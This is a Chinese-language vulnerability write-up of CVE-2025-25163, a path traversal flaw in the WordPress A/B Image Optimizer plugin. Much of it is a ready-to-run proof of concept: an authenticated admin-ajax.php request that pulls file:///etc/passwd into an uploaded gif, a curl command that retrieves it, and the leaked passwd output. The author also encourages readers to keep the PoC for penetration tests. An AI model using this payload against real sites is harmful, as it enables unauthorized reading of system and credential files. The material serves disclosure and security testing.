

WordPress A/B Image Optimizer插件后台 任意文件下载漏洞

漏洞描述

WordPress 的 Plugin A/B Image Optimizer 插件在所有版本中（包括 3.3 版本）存在目录遍历漏洞。这使得具有订阅者级别及以上权限的已认证攻击者能够读取服务器上任意文件的内容，而这些文件可能包含敏感信息。



Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N](#)

CVE	CVE-2025-25163
CVSS	6.5 (Medium)
Publicly Published	February 2, 2025
Last Updated	February 12, 2025
Researcher	LVT-tholv2k

漏洞条件

1. WordPress安装A/B Image Optimizer插件且版本<=3.3
2. 具有订阅者及以上的权限

漏洞复现

首先执行以下数据包，将敏感文件的内容写入gif文件



```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;
rv:135.0) Gecko/20100101 Firefox/135.0
Accept: /*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: wp-settings-
1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-
settings-time-1=1739543461;
wordpress_test_cookie=WP%20Cookie%20check;
wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=superadmi
n%7C1740046038%7C1N8xr9D0vHFOP0WEa8SzgQgnMrADwNB1Buy2clxo5pS%7
C1e77f848b7d3c4d32746de6c747e981273be0adb56efe08902946257e2928
4fe; tk_ai=woo%3AHJ877y%2BjNWutqlxgSuy01Vs2;
woocommerce_items_in_cart=1;
woocommerce_cart_hash=00dd4812a167442476e6e7ea663fc03e;
wp_woocommerce_session_f0174336378e6db874da2237e8c05ac1=1%7C%
C1740046039%7C%7C1740042439%7C%7C81057c84ecf3df59f0857082ef7c
538
Priority: u=4
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

action=ab_save_image_locally&imageUrl=file:///etc/passwd
```

如果成功会返回类似响应包

```
{"id":5006,"url":"http://127.0.0.1:8080/wp-
content/uploads/2025/03/1739874247.gif"}
```

再次请求响应包获取到敏感文件

```
$ curl http://127.0.0.1:8080/wp-content/uploads/2025/02/1739874247.gif
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

笔者总结

这个漏洞的CVSS较低，其一是因为需要订阅者以上的权限，其二是该插件如今已经被官方删除，被影响的范围也不会进一步扩大了。

Plugin A/B Image Optimizer

[Wordfence Intelligence](#) > [Vulnerability Database](#) > [WordPress Plugins](#) > Plugin A/B Image Optimizer

Information

Software Type	Plugin
Software Slug	images-optimizer (view on wordpress.org)
Software Status	✖ Removed
Software Author	image-optimizer
Software Downloads	4,819
Software Active Installs	50
Software Record Last Updated	March 7, 2025

大伙可以保存着POC，万一以后在做授权渗透测试时碰巧遇到，可以试一试！